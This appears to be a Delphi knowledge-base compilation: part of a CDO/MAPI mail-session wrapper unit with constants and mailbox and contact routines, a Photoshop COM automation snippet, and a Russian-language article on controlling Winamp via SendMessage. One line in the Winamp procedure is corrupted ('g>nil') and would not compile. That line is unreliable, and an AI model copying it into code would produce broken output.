  CdoPR_REGISTERED_MAIL_TYPE = $0C160003;
  CdoPR_RELATED_IPMS = $002D0102;
  CdoPR_REMOTE_PROGRESS = $3E0B0003;
  CdoPR_REMOTE_PROGRESS_TEXT = $3E0C001E;
  CdoPR_REMOTE_VALIDATE_OK = $3E0D000B;
  CdoPR_RENDERING_POSITION = $370B0003;
  CdoPR_REPLY_RECIPIENT_ENTRIES = $004F0102;
  CdoPR_REPLY_RECIPIENT_NAMES = $0050001E;
  CdoPR_REPLY_REQUESTED = $0C17000B;
  CdoPR_REPLY_TIME = $00300040;
  CdoPR_REPORT_ENTRYID = $00450102;
  CdoPR_REPORT_NAME = $003A001E;
  CdoPR_REPORT_SEARCH_KEY = $00540102;
  CdoPR_REPORT_TAG = $00310102;
  CdoPR_REPORT_TEXT = $1001001E;
  CdoPR_REPORT_TIME = $00320040;
  CdoPR_REPORTING_DL_NAME = $10030102;
  CdoPR_REPORTING_MTA_CERTIFICATE = $10040102;
  CdoPR_REQUESTED_DELIVERY_METHOD = $0C180003;
  CdoPR_RESOURCE_FLAGS = $30090003;
  CdoPR_RESOURCE_METHODS = $3E020003;
  CdoPR_RESOURCE_PATH = $3E07001E;
  CdoPR_RESOURCE_TYPE = $3E030003;
  CdoPR_RESPONSE_REQUESTED = $0063000B;
  CdoPR_RESPONSIBILITY = $0E0F000B;
  CdoPR_RETURNED_IPM = $0033000B;
  CdoPR_ROW_TYPE = $0FF50003;
  CdoPR_ROWID = $30000003;
  CdoPR_RTF_COMPRESSED = $10090102;
  CdoPR_RTF_IN_SYNC = $0E1F000B;
  CdoPR_RTF_SYNC_BODY_COUNT = $10070003;
  CdoPR_RTF_SYNC_BODY_CRC = $10060003;
  CdoPR_RTF_SYNC_BODY_TAG = $1008001E;
  CdoPR_RTF_SYNC_PREFIX_COUNT = $10100003;
  CdoPR_RTF_SYNC_TRAILING_COUNT = $10110003;
  CdoPR_SEARCH = $3607000D;
  CdoPR_SEARCH_KEY = $300B0102;
  CdoPR_SECURITY = $00340003;
  CdoPR_SELECTABLE = $3609000B;
  CdoPR_SEND_INTERNET_ENCODING = $3A710003;
  CdoPR_SEND_RICH_INFO = $3A40000B;
  CdoPR_SENDER_ADDRTYPE = $0C1E001E;
  CdoPR_SENDER_EMAIL_ADDRESS = $0C1F001E;
  CdoPR_SENDER_ENTRYID = $0C190102;
  CdoPR_SENDER_NAME = $0C1A001E;
  CdoPR_SENDER_SEARCH_KEY = $0C1D0102;
  CdoPR_SENSITIVITY = $00360003;
  CdoPR_SENT_REPRESENTING_ADDRTYPE = $0064001E;
  CdoPR_SENT_REPRESENTING_EMAIL_ADDRESS = $0065001E;
  CdoPR_SENT_REPRESENTING_ENTRYID = $00410102;
  CdoPR_SENT_REPRESENTING_NAME = $0042001E;
  CdoPR_SENT_REPRESENTING_SEARCH_KEY = $003B0102;
  CdoPR_SENTMAIL_ENTRYID = $0E0A0102;
  CdoPR_SERVICE_DELETE_FILES = $3D10101E;
  CdoPR_SERVICE_DLL_NAME = $3D0A001E;
  CdoPR_SERVICE_ENTRY_NAME = $3D0B001E;
  CdoPR_SERVICE_EXTRA_UIDS = $3D0D0102;
  CdoPR_SERVICE_NAME = $3D09001E;
  CdoPR_SERVICE_SUPPORT_FILES = $3D0F101E;
  CdoPR_SERVICE_UID = $3D0C0102;
  CdoPR_SERVICES = $3D0E0102;
  CdoPR_SPOOLER_STATUS = $0E100003;
  CdoPR_SPOUSE_NAME = $3A48001E;
  CdoPR_START_DATE = $00600040;
  CdoPR_STATE_OR_PROVINCE = $3A28001E;
  CdoPR_STATUS = $360B0003;
  CdoPR_STATUS_CODE = $3E040003;
  CdoPR_STATUS_STRING = $3E08001E;
  CdoPR_STORE_ENTRYID = $0FFB0102;
  CdoPR_STORE_PROVIDERS = $3D000102;
  CdoPR_STORE_RECORD_KEY = $0FFA0102;
  CdoPR_STORE_STATE = $340E0003;
  CdoPR_STORE_SUPPORT_MASK = $340D0003;
  CdoPR_STREET_ADDRESS = $3A29001E;
  CdoPR_SUBFOLDERS = $360A000B;
  CdoPR_SUBJECT = $0037001E;
  CdoPR_SUBJECT_IPM = $00380102;
  CdoPR_SUBJECT_PREFIX = $003D001E;
  CdoPR_SUBMIT_FLAGS = $0E140003;
  CdoPR_SUPERSEDES = $103A001E;
  CdoPR_SUPPLEMENTARY_INFO = $0C1B001E;
  CdoPR_SURNAME = $3A11001E;
  CdoPR_TELEX_NUMBER = $3A2C001E;
  CdoPR_TEMPLATEID = $39020102;
  CdoPR_TITLE = $3A17001E;
  CdoPR_TNEF_CORRELATION_KEY = $007F0102;
  CdoPR_TRANSMITABLE_DISPLAY_NAME = $3A20001E;
  CdoPR_TRANSPORT_KEY = $0E160003;
  CdoPR_TRANSPORT_MESSAGE_HEADERS = $007D001E;
  CdoPR_TRANSPORT_PROVIDERS = $3D020102;
  CdoPR_TRANSPORT_STATUS = $0E110003;
  CdoPR_TTYTDD_PHONE_NUMBER = $3A4B001E;
  CdoPR_TYPE_OF_MTS_USER = $0C1C0003;
  CdoPR_USER_CERTIFICATE = $3A220102;
  CdoPR_USER_X509_CERTIFICATE = $3A701102;
  CdoPR_VALID_FOLDER_MASK = $35DF0003;
  CdoPR_VIEWS_ENTRYID = $35E50102;
  CdoPR_WEDDING_ANNIVERSARY = $3A410040;
  CdoPR_X400_CONTENT_TYPE = $003C0102;
  CdoPR_X400_DEFERRED_DELIVERY_CANCEL = $3E09000B;
  CdoPR_XPOS = $3F050003;
  CdoPR_YPOS = $3F060003;

  // General
  PR_IPM_PUBLIC_FOLDERS_ENTRYID = $66310102;
  CdoDefaultFolderCalendar = 0;
  CdoDefaultFolderContacts = 5;
  CdoDefaultFolderDeletedItems = 4;
  CdoDefaultFolderInbox = 1;
  CdoDefaultFolderJournal = 6;
  CdoDefaultFolderNotes = 7;
  CdoDefaultFolderOutbox = 2;
  CdoDefaultFolderSentItems = 3;
  CdoDefaultFolderTasks = 8;

  // Message Recipients
  CdoTo = 1;
  CdoCc = 2;
  CdoBcc = 3;

  // Attachment Types
  CdoFileData = 1;
  CdoFileLink = 2;
  CdoOLE = 3;
  CdoEmbeddedMessage = 4;

  // AddressEntry DisplayType
  CdoUser = 0; //   A local messaging user.
  CdoDistList = 1; //   A public distribution list.
  CdoForum = 2; //   A forum, such as a bulletin board or a public folder.
  CdoAgent = 3; //   An automated agent, such as Quote-of-the-Day.
  CdoOrganization = 4;
  //   A special address entry defined for large groups, such as a helpdesk.
  CdoPrivateDistList = 5; //   A private, personally administered distribution list.
  CdoRemoteUser = 6; //   A messaging user in a remote messaging system.

  // Error Codes
  CdoE_OK = 0;
  CdoE_ACCOUNT_DISABLED = $80040124;
  CdoE_AMBIGUOUS_RECIP = $80040700;
  CdoE_BAD_CHARWIDTH = $80040103;
  CdoE_BAD_COLUMN = $80040118;
  CdoE_BAD_VALUE = $80040301;
  CdoE_BUSY = $8004010B;
  CdoE_CALL_FAILED = $80004005;
  CdoE_CANCEL = $80040501;
  CdoE_COLLISION = $80040604;
  CdoE_COMPUTED = $8004011A;
  CdoE_CORRUPT_DATA = $8004011B;
  CdoE_CORRUPT_STORE = $80040600;
  CdoE_DECLINE_COPY = $80040306;
  CdoE_DISK_ERROR = $80040116;
  CdoE_END_OF_SESSION = $80040200;
  CdoE_EXTENDED_ERROR = $80040119;
  CdoE_FAILONEPROVIDER = $8004011D;
  CdoE_FOLDER_CYCLE = $8004060B;
  CdoE_HAS_FOLDERS = $80040609;
  CdoE_HAS_MESSAGES = $8004060A;
  CdoE_INTERFACE_NOT_SUPPORTED = $80004002;
  CdoE_INVALID_ACCESS_TIME = $80040123;
  CdoE_INVALID_BOOKMARK = $80040405;
  CdoE_INVALID_ENTRYID = $80040107;
  CdoE_INVALID_OBJECT = $80040108;
  CdoE_INVALID_PARAMETER = $80070057;
  CdoE_INVALID_TYPE = $80040302;
  CdoE_INVALID_WORKSTATION_ACCOUNT = $80040122;
  CdoE_LOGON_FAILED = $80040111;
  CdoE_MISSING_REQUIRED_COLUMN = $80040202;
  CdoE_NETWORK_ERROR = $80040115;
  CdoE_NO_ACCESS = $80070005;
  CdoE_NO_RECIPIENTS = $80040607;
  CdoE_NO_SUPPORT = $80040102;
  CdoE_NO_SUPPRESS = $80040602;
  CdoE_NON_STANDARD = $80040606;
  CdoE_NOT_ENOUGH_DISK = $8004010D;
  CdoE_NOT_ENOUGH_MEMORY = $8007000E;
  CdoE_NOT_ENOUGH_RESOURCES = $8004010E;
  CdoE_NOT_FOUND = $8004010F;
  CdoE_NOT_IN_QUEUE = $80040601;
  CdoE_NOT_INITIALIZED = $80040605;
  CdoE_NOT_ME = $80040502;
  CdoE_OBJECT_CHANGED = $80040109;
  CdoE_OBJECT_DELETED = $8004010A;
  CdoE_PASSWORD_CHANGE_REQUIRED = $80040120;
  CdoE_PASSWORD_EXPIRED = $80040121;
  CdoE_SESSION_LIMIT = $80040112;
  CdoE_STRING_TOO_LONG = $80040105;
  CdoE_SUBMITTED = $80040608;
  CdoE_TABLE_EMPTY = $80040402;
  CdoE_TABLE_TOO_BIG = $80040403;
  CdoE_TIMEOUT = $80040401;
  CdoE_TOO_BIG = $80040305;
  CdoE_TOO_COMPLEX = $80040117;
  CdoE_TYPE_NO_SUPPORT = $80040303;
  CdoE_UNABLE_TO_ABORT = $80040114;
  CdoE_UNABLE_TO_COMPLETE = $80040400;
  CdoE_UNCONFIGURED = $8004011C;
  CdoE_UNEXPECTED_ID = $80040307;
  CdoE_UNEXPECTED_TYPE = $80040304;
  CdoE_UNKNOWN_CPID = $8004011E;
  CdoE_UNKNOWN_ENTRYID = $80040201;
  CdoE_UNKNOWN_FLAGS = $80040106;
  CdoE_UNKNOWN_LCID = $8004011F;
  CdoE_USER_CANCEL = $80040113;
  CdoE_VERSION = $80040110;
  CdoE_WAIT = $80040500;
  CdoW_APPROX_COUNT = $00040482;
  CdoW_CANCEL_MESSAGE = $00040580;
  CdoW_ERRORS_RETURNED = $00040380;
  CdoW_NO_SERVICE = $00040203;
  CdoW_PARTIAL_COMPLETION = $00040680;
  CdoW_POSITION_CHANGED = $00040481;

type
  TOleVarPtr = ^OleVariant;

  TCdoMapiSession = class(TObject)
  private
    FImpersonated: boolean;
    FLastErrorCode: DWORD;
    FMyName,
      FMyEMailAddress,
      FLastError: string;
    FCurrentUser,
      FOleGlobalAddressList,
      FOleDeletedItems,
      FOleOutBox, FOleSentItems,
      FOleInbox, FOleContacts,
      FOleSession: OleVariant;
    FConnected: boolean;
    function GetFVersion: string;
  protected
    procedure SetOleFolders;
  public
    // System
    constructor Create; overload;
    constructor Create(const Profile: string); overload;
    constructor Create(const Profile: string;
      const UserName: string;
      const Domain: string;
      const Password: string); overload;
    destructor Destroy; override;

    // User
    function LoadAddressList(StringList: TStrings): boolean;
    function LoadObjectList(const FolderOle: OleVariant; List: TList): boolean;
    function LoadEMailTree(TV: TTreeView; Expand1stLevel: boolean = false;
      SubjectMask: string = ''): boolean;
    function LoadContactList(const FolderOle: OleVariant;
      Items: TStrings): boolean; overload;
    function LoadContactList(const FolderName: string;
      Items: TStrings): boolean; overload;
    procedure ShowContactDetails(Contact: OleVariant);

    function First(const FolderOle: OleVariant; out ItemOle: OleVariant): boolean;
    function Last(const FolderOle: OleVariant; out ItemOle: OleVariant): boolean;
    function Next(const FolderOle: OleVariant; out ItemOle: OleVariant): boolean;
    function Prior(const FolderOle: OleVariant; out ItemOle: OleVariant): boolean;
    function AsString(const ItemOle: Olevariant; const FieldIdConstant: DWORD):
      string;

    // Properties
    property CurrentUser: OleVariant read FCurrentUser;
    property Connected: boolean read FConnected;
    property LastErrorMess: string read FlastError;
    property LastErrorCode: DWORD read FlastErrorCode;
    property InBox: OleVariant read FOleInBox;
    property OutBox: OleVariant read FOleOutBox;
    property DeletedItems: Olevariant read FOleDeletedItems;
    property SentItems: Olevariant read FOleSentItems;
    property GlobalAddressList: Olevariant read FOleGlobalAddressList;
    property Contacts: Olevariant read FOleContacts;
    property Session: OleVariant read FOleSession;
    property Version: string read GetFVersion;
    property MyName: string read FMyName;
    property MyEMailAddress: string read FMyEMailAddress;
  end;

  // Function Prototypes
function CdoNothing(Obj: OleVariant): boolean;
function CdoDefaultProfile: string;
procedure CdoDisposeList(WorkList: TList);
procedure CdoDisposeObjects(WorkStrings: TStrings);
procedure CdoDisposeNodes(WorkData: TTreeNodes);

function VarNothing: IDispatch;

// -----------------------------------------------------------------------------
implementation

// ===================================
// Emulate VB function IS NOTHING
// ===================================

function CdoNothing(Obj: OleVariant): boolean;
begin
  Result := IDispatch(Obj) = nil;
end;

// ============================================
// Emulate VB function VarX := Nothing
// ============================================

function VarNothing: IDispatch;
var
  Retvar: IDispatch;
begin
  Retvar := nil;
  Result := Retvar;
end;

// ============================================
// Get Default Message profile from registry
// ============================================

function CdoDefaultProfile: string;
var
  WinReg: TRegistry;
  Retvar: string;
begin
  Retvar := '';
  WinReg := TRegistry.Create;

  if
    WinReg.OpenKey('\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles', false) then
  begin
    Retvar := WinReg.ReadString('DefaultProfile');
    WinReg.CloseKey;
  end;

  WinReg.Free;
  Result := Retvar;
end;

// =================================================
// Disposes of any memory allocations in a TList
// =================================================

procedure CdoDisposeList(WorkList: TList);
var
  i: integer;
begin
  if WorkList <> nil then
    for i := 0 to WorkList.Count - 1 do
      if WorkList[i] <> nil then
        dispose(WorkList[i]);
end;

// ====================================================
// Disposes of any memory allocations in a TStringList
// ====================================================

procedure CdoDisposeObjects(WorkStrings: TStrings);
var
  i: integer;
begin
  if WorkStrings <> nil then
    for i := 0 to WorkStrings.Count - 1 do
      if WorkStrings.Objects[i] <> nil then
        dispose(TOleVarPtr(WorkStrings.Objects[i]));
end;

// ====================================================
// Disposes of any memory allocations in a TTreeView
// ====================================================

procedure CdoDisposeNodes(WorkData: TTreeNodes);
var
  i: integer;
  TN: TTreeNode;
begin
  if WorkData <> nil then
  begin
    for i := 0 to WorkData.Count - 1 do
    begin
      TN := WorkData[i];
      if TN.Data <> nil then
        dispose(TOleVarPtr(TN.Data));
    end;
  end;
end;

// -----------------------------------------------------------------------------
// TCdoMapiSession
// -----------------------------------------------------------------------------

// ================
// Default Profile
// ================

constructor TCdoMapiSession.Create;
begin
  FImpersonated := false;
  FLastError := '';
  FLastErrorCode := CdoE_OK;
  try
    FOleSession := CreateOleObject('MAPI.Session');
    FOleSession.Logon(CdoDefaultProfile);
    SetOleFolders;
  except
    on E: Exception do
    begin
      FLastError := E.Message;
      FLastErrorCode := CdoE_LOGON_FAILED;
      FConnected := false;
    end;
  end;
end;

// ===========================
// With Specified Profile
// ===========================

constructor TCdoMapiSession.Create(const Profile: string);
begin
  FImpersonated := false;
  try
    FOleSession := CreateOleObject('MAPI.Session');
    FOleSession.Logon(Profile);
    SetOleFolders;
  except
    on E: Exception do
    begin
      FLastError := E.Message;
      FLastErrorCode := CdoE_LOGON_FAILED;
      FConnected := false;
    end;
  end;
end;

// ======================================================
// Impersonate amother user and use specified profile
// ======================================================

constructor TCdoMapiSession.Create(const Profile: string;
  const UserName: string;
  const Domain: string;
  const Password: string);
var
  SecurityH: THandle;
begin
  FImpersonated := false;
  try
    LogonUser(PChar(UserName), PChar(Domain), PChar(Password),
      LOGON32_LOGON_SERVICE,
      LOGON32_PROVIDER_DEFAULT, SecurityH);
    FImpersonated := ImpersonateLoggedOnUser(SecurityH);
    FOleSession := CreateOleObject('MAPI.Session');
    FOleSession.Logon(Profile, Password, false, true);
    SetOleFolders;
  except
    on E: Exception do
    begin
      FLastError := E.Message;
      FLastErrorCode := CdoE_LOGON_FAILED;
      FConnected := false;
    end;
  end;
end;

// ======================
// Free and Clean up
// ======================

destructor TCdoMapiSession.Destroy;
begin
  if FConnected then
    FOleSession.LogOff;
  FCurrentUser := Unassigned;
  FOleGlobalAddressList := Unassigned;
  FOleSentItems := Unassigned;
  FOleContacts := Unassigned;
  FOleOutBox := Unassigned;
  FOleDeletedItems := Unassigned;
  FOleInBox := Unassigned;
  FOleSession := Unassigned;
  if FImpersonated then
    RevertToSelf;
  inherited Destroy;
end;

// =======================================================
// Addition initialization called by Create() oveloads
// =======================================================

procedure TCdoMapiSession.SetOleFolders;
begin
  try
    FOleGlobalAddressList :=
      FOleSession.AddressLists['Global Address List'].AddressEntries;
  except
    FOleGlobalAddressList := VarNothing;
  end;

  try
    FOleContacts := FOleSession.AddressLists['Contacts'].AddressEntries;
  except
    FOleContacts := VarNothing;
  end;

  try
    FOleInBox := FOleSession.InBox.Messages;
  except
    FOleInBox := VarNothing;
  end;

  try
    FOleOutBox := FOleSession.OutBox.Messages;
  except
    FOleOutBox := VarNothing;
  end;

  try
    FOleDeletedItems :=
      FOleSession.GetDefaultFolder(CdoDefaultFolderDeletedItems).Messages;
  except
    FOleDeletedItems := VarNothing;
  end;

  try
    FOleSentItems := FOleSession.GetDefaultFolder(CdoDefaultFolderSentItems).Messages;
  except
    FOleSentItems := VarNothing;
  end;

  try
    FCurrentUser := FOleSession.CurrentUser;
    FMyName := FCurrentUser.Name;
  except
    FCurrentUser := VarNothing;
  end;

  FConnected := true;
  FMyEMailAddress := AsString(FCurrentUser, CdoPR_EMAIL_AT_ADDRESS);
end;

// ======================
// Return CDO Version
// ======================

function TCdoMapiSession.GetFVersion: string;
begin
  if FConnected then
    Result := FOleSession.Version
  else
    Result := 'Not Connected';
end;

// ========================================================
// Fill a string list with all available address lists
// ========================================================

function TCdoMapiSession.LoadAddressList(StringList: TStrings): boolean;
var
  Addr: OleVariant;
  i: integer;
  Retvar: boolean;
begin
  Retvar := false;

  if FConnected then
  begin
    StringList.Clear;
    try
      Addr := FOleSession.AddressLists;
      for i := 1 to Addr.Count do
        StringList.Add(Addr.Item[i].Name);
      Retvar := true;
    except
      on E: Exception do
      begin
        FLastError := E.Message;
        FLastErrorCode := CdoE_NOT_FOUND;
      end;
    end;

    Addr := Unassigned;
  end;

  Result := Retvar;
end;

// =================================================
// Iteration functions
// =================================================

function TCdoMapiSession.First(const FolderOle: OleVariant;
  out ItemOle: OleVariant): boolean;
var
  Retvar: boolean;
begin
  Retvar := true;

  if FConnected then
  begin
    try
      ItemOle := FolderOle.GetFirst;
      if CdoNothing(ItemOle) then
      begin
        Retvar := false;
      end;
    except
      on E: Exception do
      begin
        FLastError := E.Message;
        FLastErrorCode := CdoE_NOT_FOUND;
        Retvar := false;
      end;
    end;
  end
  else
    Retvar := false;

  Result := Retvar;
end;

function TCdoMapiSession.Last(const FolderOle: OleVariant;
  out ItemOle: OleVariant): boolean;
var
  Retvar: boolean;
begin
  Retvar := true;

  if FConnected then
  begin
    try
      ItemOle := FolderOle.GetLast;
      if CdoNothing(ItemOle) then
      begin
        Retvar := false;
      end;
    except
      on E: Exception do
      begin
        FLastError := E.Message;
        FLastErrorCode := CdoE_NOT_FOUND;
        Retvar := false;
      end;
    end;
  end
  else
    Retvar := false;

  Result := Retvar;
end;

function TCdoMapiSession.Next(const FolderOle: OleVariant;
  out ItemOle: OleVariant): boolean;
var
  Retvar: boolean;
begin
  Retvar := true;

  if FConnected then
  begin
    try
      ItemOle := FolderOle.GetNext;
      if CdoNothing(ItemOle) then
      begin
        Retvar := false;
      end;
    except
      on E: Exception do
      begin
        FLastError := E.Message;
        FLastErrorCode := CdoE_NOT_FOUND;
        Retvar := false;
      end;
    end;
  end
  else
    Retvar := false;

  Result := Retvar;
end;

function TCdoMapiSession.Prior(const FolderOle: OleVariant;
  out ItemOle: OleVariant): boolean;
var
  Retvar: boolean;
begin
  Retvar := true;

  if FConnected then
  begin
    try
      ItemOle := FolderOle.GetPrior;
      if CdoNothing(ItemOle) then
      begin
        Retvar := false;
      end;
    except
      on E: Exception do
      begin
        FLastError := E.Message;
        FLastErrorCode := CdoE_NOT_FOUND;
        Retvar := false;
      end;
    end;
  end
  else
    Retvar := false;

  Result := Retvar;
end;

// =========================
// Field Get Routines
// =========================

function TCdoMapiSession.AsString(const ItemOle: Olevariant;
  const FieldIdConstant: DWORD): string;
var
  Retvar: string;
begin
  if FConnected then
  begin
    // Special case for EMail Address - Resolve to normal form
    if FieldIdConstant = CdoPR_EMAIL_AT_ADDRESS then
    begin
      try
        RetVar := ItemOle.Fields[CdoPR_EMAIL_AT_ADDRESS];
      except
        try
          Retvar := ItemOle.Fields[CdoPR_EMAIL_ADDRESS];
        except
          on E: Exception do
          begin
            FLastError := E.Message;
            FLastErrorCode := CdoE_INVALID_OBJECT;
            Retvar := '';
          end;
        end;
      end;
    end
    else
    begin
      try
        RetVar := ItemOle.Fields[FieldIdConstant];
      except
        on E: Exception do
        begin
          FLastError := E.Message;
          FLastErrorCode := CdoE_INVALID_OBJECT;
          Retvar := '';
        end;
      end;
    end;
  end
  else
    Retvar := '';

  Result := Retvar;
end;

// ================================================
// Load EMail folders Messages into a TTreeView
// Allocations in Nodes are freed at each call to
// LoadEMailTree, but you are responsible to call
// CdoDisposeNodes or dispose of the allocations
// yourself at Application end
// ================================================

function TCdoMapiSession.LoadEMailTree(TV: TTreeView;
  Expand1stLevel: boolean = false;
  SubjectMask: string = ''): boolean;
var
  DocPtr: TOleVarPtr;
  Item: OleVariant;
  TN, RN, XN: TTreeNode;
  Retvar,
    Images: boolean;

  procedure AddTree(const Name: string; Folder: Olevariant);
  begin
    if First(Folder, Item) then
    begin
      TN := TV.Items.AddChildObject(RN, Name, nil);
      if Images then
      begin
        TN.ImageIndex := 0;
        TN.SelectedIndex := 0;
      end;

      while true do
      begin
        if (SubjectMask = '') or (MatchesMask(Item.Subject, SubjectMask)) then
        begin
          New(DocPtr);
          DocPtr^ := Item;
          if Item.Subject = '' then
            XN := TV.Items.AddChildObject(TN, '<No Subject> - ' + Item.Sender.Name,
              DocPtr)
          else
            XN := TV.Items.AddChildObject(TN, Item.Subject, DocPtr);

          if Images then
          begin
            XN.ImageIndex := 1;
            XN.SelectedIndex := 1;
          end;
        end;

        if not Next(Folder, Item) then
          break;
      end;
    end;
  end;

begin
  Retvar := false;

  if FConnected then
  begin
    Screen.Cursor := crHourGlass;
    Application.ProcessMessages;
    CdoDisposeNodes(TV.Items);
    TV.Items.Clear;
    TV.Items.BeginUpdate;
    TN := nil;
    RN := nil;
    RN := TV.Items.AddObject(RN, 'Personal Folders', nil);
    Images := (TV.Images <> nil) and (TV.Images.Count >= 2);
    if Images then
    begin
      RN.ImageIndex := 0;
      RN.SelectedIndex := 0;
    end;

    try
      AddTree('Inbox', InBox);
      AddTree('Outbox', OutBox);
      AddTree('Sent Items', SentItems);
      AddTree('Deleted Items', DeletedItems);
      Retvar := true;
    except
      on E: Exception do
      begin
        FLastError := E.Message;
        FLastErrorCode := CdoE_CALL_FAILED;
      end;
    end;

    if Expand1stLevel then
      TV.Items[0].Expand(false);
    TV.Items.EndUpdate;
    Screen.Cursor := crDefault;
    Item := Unassigned;
    Screen.Cursor := crDefault;
  end;

  Result := Retvar;
end;

// =============================================================
// Load Contact list into a TStringList
// Allocations in Objects are freed at each call to
// LoadEMailTree, but you are responsible to call
// CdoDisposeObjects or dispose of the allocations yourself at
// Application end.
//
// Format "[LastName FirstName]EMailAddress"
// ===============================================================

function TCdoMapiSession.LoadContactList(const FolderOle: OleVariant;
  Items: TStrings): boolean;
var
  ContactPtr: TOleVarPtr;
  Contact: OleVariant;
  AddrType,
    FullName,
    LastName, FirstName, Email: string;
  Retvar: boolean;
begin
  Retvar := false;

  if FConnected then
  begin
    Screen.Cursor := crHourGlass;
    Application.ProcessMessages;
    CdoDisposeObjects(Items);
    Items.Clear;
    Items.BeginUpdate;

    try
      if First(FolderOle, Contact) then
      begin
        while true do
        begin
          LastName := trim(AsString(Contact, CdoPR_SURNAME));
          FirstName := trim(AsString(Contact, CdoPR_GIVEN_NAME));
          EMail := AsString(Contact, CdoPR_EMAIL_AT_ADDRESS);
          AddrType := AsString(Contact, CdoPR_ADDRTYPE);

          if (EMail <> '') and (AddrType <> 'FAX') then
          begin
            New(ContactPtr);
            ContactPtr^ := Contact;
            FullName := trim(LastName + ' ' + FirstName);
            Items.AddObject('[' + FullName + ']' + EMail, TObject(ContactPtr));
          end;

          if not Next(FolderOle, Contact) then
            break;
        end;

        Retvar := true;
      end;
    except
      on E: Exception do
      begin
        FLastError := E.Message;
        FLastErrorCode := CdoE_CALL_FAILED;
      end;
    end;

    Items.EndUpdate;
    Contact := Unassigned;
    Screen.Cursor := crDefault;
  end;

  Result := Retvar;
end;

function TCdoMapiSession.LoadContactList(const FolderName: string;
  Items: TStrings): boolean;
var
  Contacts: OleVariant;
  Retvar: boolean;
begin
  Retvar := false;

  if FConnected then
  begin
    try
      Contacts := FOleSession.AddressLists[FolderName].AddressEntries;
      if not CdoNothing(Contacts) then
      begin
        Retvar := LoadContactList(Contacts, Items);
      end;
      Contacts := Unassigned;
    except
      on E: Exception do
      begin
        CdoDisposeObjects(Items);
        Items.Clear;
        FLastError := E.Message;
        FLastErrorCode := CdoE_CALL_FAILED;
      end;
    end;
  end;

  Result := Retvar;
end;

// =============================================================
// Load Folder list into a TList
// Allocations in Objects are freed at each call to
// LoadObjectList, but you are responsible to call
// CdoDisposeList or dispose of the allocations yourself at
// Application end.
// ===============================================================

function TCdoMapiSession.LoadObjectList(const FolderOle: OleVariant;
  List: TList): boolean;
var
  ItemPtr: TOleVarPtr;
  Item: OleVariant;
  Retvar: boolean;
begin
  Retvar := false;

  if FConnected then
  begin
    Screen.Cursor := crHourGlass;
    Application.ProcessMessages;
    CdoDisposeList(List);
    List.Clear;

    try
      if First(FolderOle, Item) then
      begin
        while true do
        begin
          New(ItemPtr);
          ItemPtr^ := Item;
          List.Add(ItemPtr);

          if not Next(FolderOle, Item) then
            break;
        end;
      end;
    except
      on E: Exception do
      begin
        CdoDisposeList(List);
        List.Clear;
        FLastError := E.Message;
        FLastErrorCode := CdoE_CALL_FAILED;
      end;
    end;

    Item := Unassigned;
    Screen.Cursor := crDefault;
  end;

  Result := Retvar;
end;

// =================================================================
// The CDO method Details() gives an error if cancel is pressed
// =================================================================

procedure TCdoMapiSession.ShowContactDetails(Contact: OleVariant);
begin
  if not CdoNothing(Contact) then
  try
    Contact.Details(Application.Handle);
  except
    // Not interested - either a dialog appears or not
  end;
end;

end.
Взято с Delphi Knowledge Base: http://www.baltsoft.com/


Работа с Photoshop

uses
  ComObj, ActiveX, PhotoShopTypeLibrary_TLB;

var
  PS: IPhotoShopApplication;
  Unknown: IUnknown;
begin
  Result := GetActiveObject(CLASS_PhotoshopApplication, nil, Unknown);
  if (Result = MK_E_UNAVAILABLE) then
    PS := CoPhotoshopApplication.Create
  else
  begin
    { make sure no other error occurred }
    OleCheck(Result);
    OleCheck(Unknown.QueryInterface(IPhotoShopApplication, PS));
  end;
  PS.Visible := True;
end;
Взято с Delphi Knowledge Base: http://www.baltsoft.com/


Взаимодействуем с Winamp

О пользе плагинов и спорить не приходиться. Потому многие крупные разработчики программного обеспечения предусматривают в своих творениях поддержку модулей, написанных другими людьми. Так поступила и компания Nullsoft, создатель известного компьютерного плеера - Winamp. Для непосредственного обращения к плееру были созданы специальные функции - WinampApi.

Алгоритм взаимодействия таков:

Находим Handle окна Winamp'a. (можно так - findwindow('Winamp v1.x',nil) )
С помощью команды Sendmessage, посылаем окну сообщение вида WM_COMMAND или WM_USER c определёнными параметрами (см. Приложение)
Итак, напишем, например, процедуру для проигрывания заданного трека с заданной громкостью. В дальнейшем, её можно будет использовать в плагине или в программе, работающей совместно с Winamp.

procedure play_track_with_volume(track_number:integer;volume:integer);
// Track_number - номер трека (от 1 до величины количества треков)
// Volume - громкость (от 0 до 255)
var
  h: hwnd;
begin
  h:=findwindow('Winamp v1.x',g>nil); // Находим окно
  sendmessage(h,WM_USER,track_number-1,121); // Устанавливаем номер трека
  sendmessage(h,WM_USER,volume,122); // Устанавливаем громкость
  sendmessage(h,WM_COMMAND,40045,0); // Проигрываем трек
end;

Приложение:

Параметры сообщений и их функции. (Взято с официального сайта):

WM_COMMAND Messages

Previous track button 40044
Next track button 40048
Play button 40045
Pause/Unpause button 40046
Stop button 40047
Fadeout and stop 40147
Stop after current track 40157
Fast-forward 5 seconds 40148
Fast-rewind 5 seconds 40144
Start of playlist 40154
Go to end of playlist 40158
Open file dialog 40029
Open URL dialog 40155
Open file info box 40188
Set time display mode to elapsed 40037
Set time display mode to remaining 40038
Toggle preferences screen 40012
Open visualization options 40190
Open visualization plug-in options 40191
Execute current visualization plug-in 40192
Toggle about box 40041
Toggle title Autoscrolling 40189
Toggle always on top 40019
Toggle Windowshade 40064
Toggle Playlist Windowshade 40266
Toggle doublesize mode 40165
Toggle EQ 40036
Toggle playlist editor 40040
Toggle main window visible 40258
Toggle minibrowser 40298
Toggle easymove 40186
Raise volume by 1% 40058
Lower volume by 1% 40059
Toggle repeat 40022
Toggle shuffle 40023
Open jump to time dialog 40193
Open jump to file dialog 40194
Open skin selector 40219
Configure current visualization plug-in 40221
Reload the current skin 40291
Close Winamp 40001
Moves back 10 tracks in playlist 40197
Show the edit bookmarks 40320
Adds current track as a bookmark 40321
Play audio CD 40323
Load a preset from EQ 40253
Save a preset to EQF 40254
Opens load presets dialog 40172
Opens auto-load presets dialog 40173
Load default preset 40174
Opens save preset dialog 40175
Opens auto-load save preset 40176
Opens delete preset dialog 40178
Opens delete an auto load preset dialog 40180

WM_USER Messages

0 Retrieves the version of Winamp running. Version will be 0x20yx for 2.yx. This is a good way to determine if you did in fact find the right window, etc.
100 Starts playback. A lot like hitting 'play' in Winamp, but not exactly the same
101 Clears Winamp's internal playlist.
102 Begins play of selected track.
103 Makes Winamp change to the directory C:\\download
